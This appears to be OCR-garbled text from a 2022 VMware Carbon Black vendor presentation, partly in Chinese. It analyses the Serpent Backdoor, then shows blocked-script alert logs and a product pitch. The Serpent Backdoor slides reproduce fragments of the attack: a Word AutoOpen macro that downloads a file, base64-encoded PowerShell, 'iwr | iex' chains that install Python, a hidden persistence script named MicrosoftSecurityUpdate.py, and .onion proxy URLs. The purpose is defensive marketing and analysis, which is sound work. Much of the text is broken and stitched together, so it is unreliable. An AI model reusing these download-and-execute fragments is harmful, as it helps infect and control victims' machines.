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AV-Comparatives-Business Security Test March-April 2022

containing the results of the Business Malware Protection Test (March) and Business Real-World Protection Test (March-April)
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Serpent Backdoor — &% /&

'c9ac39447d6a19 - Modulel (Code)

oA 8912725

S c @ U
v a {beay X Kali Linux N Kali Tools N Kali F K: Cmd_url_order =

ools N Kali Forums <« Ka

==
~/Desktop

ship3.jpg Ship3_OP
Detected image format: JPG
Extracted trailing file data: ASCII text, with very long lines
Performing deep analysis
Done

cmd url answer

~/Desktop
Ship3_OP

QGVjaG8gbh24gCmVjaG8gTW1zZSBhIGpvdXIgZGUgd29yZC4uLgpAZWNobyBvZmYKc3RhcnQgLOIgcG93ZXIzaGVsbCAtbm9wemImawx 1T

[(Generan

SBhIGpvdXIgZGUgd29yZCB1biBjb3Vycyc7ICRzY3IpcHQgPSBOZXctT21qZWNOIES1dC5XZWIDbG11bnQ7ICRzY3IpcHQURGI3bmxvYW

Sub AutoOpen ()

R A S ing

"https://www.fhccu.com/images/ship3.jpg"
URL ttp://mhocujun3néfek7k4efpxoSteyigezgkpixkbve2mzaaprmuszegicqd.onion.pet X1XHN1YXJjaGVzXE1pY3JIvc29mdFN1Y3VyaXR5VXBkYXR1LnB50yAkb3VOYmFOPVwicG93ZXJzaGVsbCAtd21uzZG93c3R5bGUgaGLkZGV
1IGhpZGR1biBweXRob24gJEVOVjplc2VycHIvZmlsZVxzZWFyY2hlc1xNaWNyb3NvZnRTZWN1cml@eV GFOZS5weVwiOyAkb3VOYmFO
UERBVEENXE1pY3Jvc29mdFxXaW5kb3dzXFNOYXJOIE11bnVcUHIvZ3IhbXNcU3RhcnR1cFxNaWNyb3NvZnRTZWN1cml@eVVwZGFOZS51Y
W4gcH10aG9uICRFT1Y6dXN1cnByb2ZpbGVcc2VhemNoZXNcTWL jcm9zb2Z0U2VjdXIpdH1VcGRhdGUucHkg02V4aXQ7IGV4aXQiCkBlY2
Rvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xXb3JkLmxuayIKc3RhcnQgIiIgaHROcDovL3Nob3J0dXIsLmFOL3F6RVM4CE =

Dim WinHttpReqg0 As Object
Set WinHttpReq0 = CreateObject ("Microsoft.XMLHTTP")

POUI’M WinHttpReq0.Open "GET", URL, False, "username”, "password"
WinHttpReqO.send
Vous pou
Dim WinHttpReq As Object
gauche, ¢ Set WinHttpReg = CreateObject ("Microsofr . XMLHETTRM
WinHttpReq.Open "GET", myURL, False, n@echo on
) se | FiooccpRed.send echo Mise a jour de word...
b 4
If WinHttpReq.Status = 200 Then @echo off

oStream.Open
oStream.Type = 1

Set oStream = CreateObject ("ADODB.start /B powershell -noprofile -noninteractive -command "'echo Mise a

FsbC5wczEnKTsgaXdyIGh@dHBz0i8vY2hvY29sYXRleS5vemcvaW5zdGFsbC5weczEgLVVzZZUJhc21jUGFyc2luZyB8IGlleDsgY2hvY28
5IHB5dGhvbjM7IHBS5dGhvbiAtbSBwaXAgaW5zdGFsbCAtLXVwZ3JIhZGUgcGlwOyBwaXAgaW5zdGFsbCByZXF1ZXN@cyBweXNvY2tzOyAk
L21tYWdlcy83LmpwZzsgIGNvbnR1bnQgPSAkcGljLnRvc3RyaWSnKCk7ICRiNjQgPSBAKCAkY29udGVudCB8Zm9yZWF jaCB7ICRfLnNwb
29kaW5nXTo6QVNDSUkuR2VOU3RyaW5nKFtTeXNOZWouQ29udmVydFO60kZyb21CYXNINjRTdHIpbmcoIGI2NCkpOyAkcHkgfCBPAXQtZm

return None
data += packet
return data

oStream.Close

oStream.Write WinHttpReq.responseBfoSCript.DownloadString ('https://chocolatey.org/install.psl'); iwr

$script = New-Object Net.WebClient; . l
oStream.SaveToFile "C:\users\publihttps://chocolatey.org/install.psl -UseBasicParsing | iex; choco upgrade chocolatey; choco

End If install -y python3; python -m pip install --upgrade pip; pip install requests pysocks; $pic =
iwr -uri : i ipg; $content = $pic.tostring(); $b64 = @( Scontent ’I O‘|
[Toreach { S_.split() J ) [-2]; sSpy = 001

[System.Text.Encoding] : :ASCII.GetString([System.Convert]::FromBase64String ($b64)); $py |

'http://mhocujuh3h6fek7kdefpxoSteyigezgkpixkbvc2mzaaprmuszebicgd.onion.pet/index.htm

attern}
: '"no-cache'}

ata))

% hostname

Out-file -Encoding

'ASCII'

$ENV:userprofile\searches\MicrosoftSecurityUpdate.py; 1010

|$outbat=\"powershell -windowstyle hidden -command Start-Process -windowstyle hidden python

| —
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3.4955pm)ul 12,2022 childproc The scrip

prevented from Policy Deny

=
due to  Deny operation or Terminate process policy action.

3495spmiul 12,2022 chidproc The scrip: I p % (g ]
I e to 3 Deny operation or inate process pe
4830pmiul 12,202 chidproc The scri: N < o === rom oty Bery

jue to a Deny operation or Terminate process policy action.

34935pmjul 12,2022 childproc The scriot [ - ¢ loading the
. i< to 2 Deny operation or Terminate process policy action.

33526pmul 12,2022 childproc The application|

invoked the app e operstion was blocked by Cb Defense. Policy Dery

33526 pmul 12,2022 filemod

local disk. off B i ic adc (ocated in Taipei TPE, Taiwan). The fileis not s

The fil
igned. The file was accessed by the application|

I i B 22 7% | BEL 12 B S E (T

7/12 15:35

W E SR

mwa rer Confidential | ©2022 VMware, Inc.



- ERVAREE T T

n
572

1
RIERTEFEL

HITEZRR

»
lllllll
"
u

IR RE

LEHEET

218 FEBR

IFEZHRA
HME2EFTREE ?

m‘wa re Confidential | ©2022 VMware, Inc.




VMware —IE TV IR IEENZ %

AInERERLE
AVI

OWASP Top 10B5&

e T{ B EniE B X BE(auto-scale)
AE A Bottleneck

AR B IEEAAR, R AR
RERS ANBT

mwareC Confidential | ©2022 VMware, Inc.

FIEEMREPER
SaltStack
SEIkE RN AES

FER AR AR

EREHERERE - TEEW
B ENCEERE

BIRZE=HEEBIE

MILEREERAE
Carbon Black

BHEEMAR RS HAEIEIE SRR
(Scanless)

FHiEE S E N (MWeb Shell) - A% -
RERBAMASERE

SRR R EN e iR ELEE DTS E
AR KEEREETHEERRNESBL
RIEFEZ MFBERE (Agentless)

13



3 Key Takeaways
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VMware Contexa

See more. Stop more.

SB1%EE Simon Fan
fsimon@vmware.com
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